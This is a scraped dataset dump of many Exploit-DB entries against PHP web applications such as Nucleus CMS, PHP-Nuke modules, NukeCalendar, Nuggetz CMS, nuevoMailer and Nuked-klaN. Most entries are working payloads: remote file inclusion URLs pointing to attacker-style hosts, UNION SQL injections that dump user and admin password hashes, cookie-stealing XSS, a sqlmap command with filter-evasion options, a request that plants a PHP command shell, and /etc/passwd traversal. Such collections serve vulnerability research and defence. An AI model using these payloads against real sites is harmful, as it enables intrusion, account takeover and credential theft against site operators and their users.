deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24296
Description: Nucleus CMS 3.0 / Blog:CMS 3 / PunBB 1.x - 'Common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-07-20
Author: Radek Hulan

Exploit:
source: https://www.securityfocus.com/bid/10760/info

Nucleus CMS, Blog:CMS, and PunBB are vulnerable to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable computer.

Input passed to the 'common.php' script is not sufficiently sanitized.

All three applications are vulnerable because they have a similar or identical code base.

http://www.example.com/forum/include/common.php?pun_root=http://www.host_evil.com/cmd?&=id
Exploit-DB #30659
Description: Nucleus CMS 3.0.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-11
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/26035/info

Nucleus CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects Nucleus CMS 3.0.1; other versions may also be vulnerable. 

http://www.example.com/index.php?blogid=1&archive=2007-01-01%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #30982
Description: Nucleus CMS 3.0.1 - 'myid' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-03
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/27127/info

Nucleus CMS is prone to an SQL-injection weakness because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Attackers can exploit this issue in conjunction with other weaknesses in the application to bypass CAPTCHA security checks. Other attacks may also be possible.

Nucleus CMS 3.01 is vulnerable; other versions may also be affected. 

<html> <head> <title>MoBiC-20 Bonus: another Nucleus CAPTCHA bypass exploit (C) 2007 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://site/action.php" method="post"> <input type="hidden" name="action" value="addcomment" /> <input type="hidden" name="code" value="1" /> <input type="hidden" name="url" value="index.php?itemid=1" /> <input type="hidden" name="itemid" value="1" /> <input type="hidden" name="body" value="Captcha bypass test." /> <input type="hidden" name="myid" value="-1 union select 1,1,1 from nucleus_blog" /> <input type="hidden" name="remember" value="0" /> <input type="hidden" name="conf" value="1" /> </form> </body> </html>
Exploit-DB #31074
Description: Nucleus CMS 3.22 - 'action.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-20
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27492/info

Nucleus CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects Nucleus CMS 3.31; other versions may also be vulnerable.

http://www.example.com/[installdir]/action.php/"><script>alert('DSecRG XSS')</script>
Exploit-DB #12787
Description: Nucleus Plugin Gallery - Remote File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2010-05-29
Author: AntiSecurity

Exploit:
=============================================================================================================


  [o] Nucleus Plugin Gallery RFI & SQLi Vulnerability
 
       Software : NP_Gallery version 0.94
       Download : http://wakka.xiffy.nl/_media/np_gallery_0941.zip?id=gallery&cache=cache
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/nucleus/plugins/NP_gallery.php?DIR_NUCLEUS=[evilc0de]

       http://localhost/[path]/index.php?action=plugin&name=gallery&type=album&id=[SQLi]

       http://localhost/[path]/index.php?action=plugin&name=gallery&type=item&id=[SQLi]


  [o] PoC

       http://localhost/nucleus/plugins/NP_gallery.php?DIR_NUCLEUS=http://host.com/shell?

       http://localhost/index.php?action=plugin&name=gallery&type=album&id=1+and+1=2+union+select+1,group_concat(mname,0x3a,mrealname,0x3a,mpassword,0x3a,memail),3,4,5,6,7,8,9,10+from+nucleus_member--

       http://localhost/index.php?action=plugin&name=gallery&type=item&id=1+and+1=2+union+select+1,group_concat(mname,0x3a,mrealname,0x3a,mpassword,0x3a,memail),3,4,5,6,7,8,9,10+from+nucleus_member--


=============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te
       ArRay bjork xmazinha veter f1 & all people in #evilc0de [at] irc.byroe.net


=============================================================================================================


  [o] May 29 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #12790
Description: Nucleus Plugin Twitter - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-29
Author: AntiSecurity

Exploit:
=============================================================================================================


  [o] Nucleus Plugin Twitter Remote File Inclusion Vulnerability
 
       Software : NP_Twitter version 0.8
       Download : http://edmondhui.homeip.net/nudn?file=2/NP_Twitter_v0_8.zip
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/nucleus/plugins/NP_Twitter.php?DIR_PLUGINS=[evilc0de]


  [o] PoC

       http://localhost/nucleus/plugins/NP_Twitter.php?DIR_PLUGINS=http://host.com/shell?


=============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te
       ArRay bjork xmazinha veter f1 & all people in #evilc0de [at] irc.byroe.net


=============================================================================================================


  [o] May 29 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #42193
Description: nuevoMailer 6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-09
Author: Oleg Boytsev

Exploit:
# Exploit Title: nuevoMailer version 6.0 and earlier time-based SQL Injection
# Exploit Author: ALEH BOITSAU
# Google Dork: inurl:/inc/rdr.php?
# Date: 2017-06-09
# Vendor Homepage: https://www.nuevomailer.com/
# Version: 6.0 and earlier
# Tested on: Linux
# CVE: CVE-2017-9730

Description: SQL injection vulnerability in rdr.php in nuevoMailer version 6.0 and earlier 
allows remote attackers to execute arbitrary SQL commands via the "r" parameter. 

PoC:

https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556[time based SQL INJ]

https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556%20and%20sleep(10)--+

sqlmap -u "http://vulnerable_site.com/inc/rdr.php?r=120c44c5" --dbms=mysql -p r --tamper=equaltolike,between  --hostname --technique=T -v 3 --random-agent --time-sec=4

NB: "equaltolike" and "between" arsenal to defeat filtering! Data retrieval process may take more than usual time.

Disclosure Timeline:
2017-06-09: Vendor has been notified
2017-06-09: Vendor responded with intention to fix the vulnerability
2017-06-16: CVE number acquired
2017-06-16: Public disclosure
Exploit-DB #42164
Description: Nuevomailer < 6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-09
Author: Oleg Boytsev

Exploit:
# Exploit Title: Nuevo mailer version <= 6.0 SQL Injection
# Exploit Author: ALEH BOITSAU
# Google Dork: inurl:/inc/rdr.php?
# Date:  2017-06-09
# Vendor Homepage:  https://www.nuevomailer.com/
# Version: 6.0 and below
# Tested on: Linux

Vulnerable script: rdr.php
Vulnerable parameter: r

PoC:
https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556%20and%20sleep(10)--+

NB: vendor has been notified.
Exploit-DB #10378
Description: Nuggetz CMS 1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2009-12-10
Author: Amol Naik

Exploit:
#######################################################################
	Remote Code Execution in Nuggetz CMS 1.0

	Name			Remote Code Execution in Nuggetz CMS
	Systems Affected	Nuggetz CMS 1.0
	site			http://www.nuggetz.co.uk/
	Author			Amol Naik (amolnaik4[at]gmail.com)
	Date			10/12/2009
#######################################################################


############
 OVERVIEW
############

Nuggetz CMS 1.0 is vulnerable to Remote Code Execution.

######################
 Technical Details
######################

Vulnerable file: ajaxsave.php
Vulnerable Code:

<?php
	$save = str_replace('\"','"',$_POST['pagevalue']);

	$nugget = $_GET['nugget'];

	$fhandle = fopen("../data/$nugget.nuggetz",'w');
	// Write some data
	fwrite($fhandle,$save);
	fclose($fhandle);
	print $save;
?>

This file is used to save any changes done in nugget. The parameter 'nugget' is used to call the file 
for ex. support.nugget, which is at /web_dir/data/. The changed values are written back to the respective 
nugget. The parameters 'pagevalue' and 'nugget' are not properly sanitized. It is possible to create/edit 
files in the web server which leads to creating a new file with php command shell (RCE).

######
 PoC
######

The following request creates shell.php at /nuggetz/

POST /nuggetz/nuggetz/admin/ajaxsave.php?nugget=../../shell.php%00 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: PHPSESSID=4m2iiqdt0q38cna2iemtfel7p3
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

pagevalue=<?php passthru($_GET['cmd']); ?>


Shell Access:
http://localhost/nuggetz/shell.php?cmd=dir

#############
 WorkAround
#############

Upgrade to Nuggetz 1.0.1
Download:
http://www.nuggetz.co.uk/nuggetz_v1.0.1.zip


############
 Reference
############

http://www.nuggetz.co.uk/versionhistory.htm


############
 TimeLine
############

Bug discovered 			: 09/12/2009
Informed Vendor			: 10/12/2009 
Vendor released new version	: 10/12/2009
Public Disclosure		: 10/12/2009
Exploit-DB #10725
Description: Nuke - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-27
Author: FormatXformat

Exploit:
=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=

Nuke Remote SQL Injection Vulnerability

=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=

Found: FormatXFormaT
contact: hun4r@yahoo.com
Forum: Tkurd.com

=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=

Dork:
article.php?sid=

=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
/**/union/**/all/**/select/**/1,2,3,4,concat(uname,0x3e,pass),6,7,8,9,10,11+from+nuke_users--

=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=

Thanx: Sa3id , Angry-Boy , Neo , All Tkurd Memebers.

=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=
Exploit-DB #25282
Description: Nuke BookMarks 0.6 - 'Marks.php' Full Path Disclosure
Type: webapps
Platform: php
Date: 2005-03-26
Author: Gerardo Astharot Di Giacomo

Exploit:
source: https://www.securityfocus.com/bid/12906/info

Nuke Bookmarks is prone to a path disclosure issue when invalid data is submitted.

This issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer. 

http://www.example.com/modules.php?name=Bookmarks&file=marks
http://www.example.com/modules.php?name=Bookmarks&file=marks&category=1\'
Exploit-DB #25284
Description: Nuke BookMarks 0.6 - 'Marks.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-26
Author: Gerardo Astharot Di Giacomo

Exploit:
source: https://www.securityfocus.com/bid/12908/info

Nuke Bookmarks is prone to an SQL injection vulnerability.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. 

http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=1&category=-1/**/union/**/select%200,aid,0,pwd,0,0%20from%20nuke_authors
Exploit-DB #25283
Description: Nuke BookMarks 0.6 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-26
Author: Gerardo Astharot Di Giacomo

Exploit:
source: https://www.securityfocus.com/bid/12907/info

Nuke Bookmarks is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modules.php?name=Bookmarks&file=del_cat&catname=[htmlcode]
http://www.example.com/modules.php?name=Bookmarks&file=del_mark&markname=[htmlcode]
http://www.example.com/modules.php?name=Bookmarks&file=edit_cat&catname=[htmlcode]
http://www.example.com/modules.php?name=Bookmarks&file=edit_cat&catcomment=[htmlcode]
http://www.example.com/modules.php?name=Bookmarks&file=marks&catname=[htmlcode]
http://www.example.com/modules.php?name=Bookmarks&file=uploadbookmarks&category=[htmlcode]
Exploit-DB #31609
Description: Nuke ET 3.4 - 'mensaje' HTML Injection
Type: webapps
Platform: php
Date: 2008-04-04
Author: Jose Luis Zayas

Exploit:
source: https://www.securityfocus.com/bid/28614/info

Nuke ET is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data. Attackers will likely require access to a user account to perform attacks.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Nuke ET 3.4 is vulnerable; other versions may also be affected. 

<DIV 
STYLE="width:expression(document.location='http://www.example.com/nuke/poc.php?cookie='+document.cookie);">
Exploit-DB #35653
Description: Nuke Evolution Xtreme 2.0 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2011-04-22
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47552/info

Nuke Evolution Xtreme is prone to a local file-include vulnerability and an SQL-injection vulnerability.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute arbitrary local files within the context of the webserver process.

The attacker can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Nuke Evolution Xtreme 2.0 is vulnerable; other versions may also be affected. 


http://www.example.com/[path]/modules.php?name=Surveys&op=results&pollID=3+and+1=2+union+select+1,version(),3,4,5--
http://www.example.com/[path]/modules.php?name=News&file=../../../../../../../../../../etc/passwd%00
http://www.example.com/[path]/modules.php?name=Private_Messages&file=../../../../../../../../../../etc/passwd%00
Exploit-DB #22206
Description: Nukebrowser 2.x - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-01-30
Author: Havenard

Exploit:
source: https://www.securityfocus.com/bid/6731/info

Nukebrowser is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the nukebrowser.php script file.

Under some circumstances, it is possible for remote attackers to influence the include path for 'cmd.txt' to point to an external file on a remote server by manipulating some URI parameters.

http://[victim]/nukebrowser.php?filnavn=http://www.site.com&filhead=http://[web hosting]/cmd.txt&cmd=id
Exploit-DB #23929
Description: NukeCalendar 1.1.a - 'block-calendar.php' Full Path Disclosure
Type: webapps
Platform: php
Date: 2004-04-08
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10082/info
 
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
 
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.

http://www.example.com/nuke71/blocks/block-Calendar.php
Exploit-DB #23930
Description: NukeCalendar 1.1.a - 'block-Calendar1.php' Full Path Disclosure
Type: webapps
Platform: php
Date: 2004-04-08
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10082/info
 
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
 
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.

http://www.example.com/nuke71/blocks/block-Calendar1.php
Exploit-DB #23931
Description: NukeCalendar 1.1.a - 'block-Calendar_center.php' Full Path Disclosure
Type: webapps
Platform: php
Date: 2004-04-08
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10082/info
  
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
  
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.

http://www.example.com/nuke71/blocks/block-Calendar_center.php
Exploit-DB #23932
Description: NukeCalendar 1.1.a - 'eid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-08
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10082/info
  
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
  
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.

http://www.example.com/nuke71/modules.php?op=modload&name=Kalender&file=index&type=view&eid=[xss code here]
Exploit-DB #23933
Description: NukeCalendar 1.1.a - 'eid' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-08
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10082/info
   
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
   
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.

http://www.example.com/nuke71/modules.php?op=modload&name=Kalender&file=index&type=view&eid=-1%20UNION%20select%20null,aid,null,pwd,null,null,null,null,null,null,null,null%20%20FR
+OM%20nuke_authors%20WHERE%20radminsuper=1%20LIMIT%201/*
Exploit-DB #23928
Description: NukeCalendar 1.1.a - 'modules.php' Full Path Disclosure
Type: webapps
Platform: php
Date: 2004-04-08
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10082/info

NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.

These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection. 

http://www.example.com/nuke71/modules.php?op=modload&name=Kalender&file=index&type=view&eid=foobar
Exploit-DB #22277
Description: Nuked-klaN 1.3 - Remote Information Disclosure
Type: webapps
Platform: php
Date: 2003-02-23
Author: gregory Le Bras

Exploit:
source: https://www.securityfocus.com/bid/6917/info

A vulnerability has been discovered in Nuked-Klan which may be exploited to execute certain PHP functions on a target server. This issue occurs in the 'Team', 'News', and 'Lien' modules and is due to insufficient sanitization of user-supplied URI parameters.

This issue may be exploited by a remote attacker to obtain sensitive server information, which could aid in launching further attacks against a target system.

The vulnerability was reported for Nuked-Klan beta 1.3; earlier versions may also be affected. 

http://www.example.org/index.php?file=Team&op=phpinfo
http://www.example.org/index.php?file=News&op=phpinfo
http://www.example.org/index.php?file=Liens&op=phpinfo
Exploit-DB #26388
Description: Nuked-klaN 1.7 Download Module - 'dl_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-24
Author: papipsycho

Exploit:
source: https://www.securityfocus.com/bid/15181/info
  
Nuked Klan is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/nk/index.php?file=Download&op=description&dl_id='[SQL]
Exploit-DB #26386
Description: Nuked-klaN 1.7 Forum Module - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-10-24
Author: papipsycho

Exploit:
source: https://www.securityfocus.com/bid/15181/info

Nuked Klan is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?file=Forum&page=viewtopic&forum_id=[FORUM_ID]' OR id LIKE '%%' /*&thread_id=[THREAD_ID]' AND auteur_id LIKE '%%' /*
http://www.example.com/index.php?file=Forum&page=viewtopic&forum_id=1' OR id LIKE '%%'&thread_id=1' AND auteur_id LIKE '%%' /*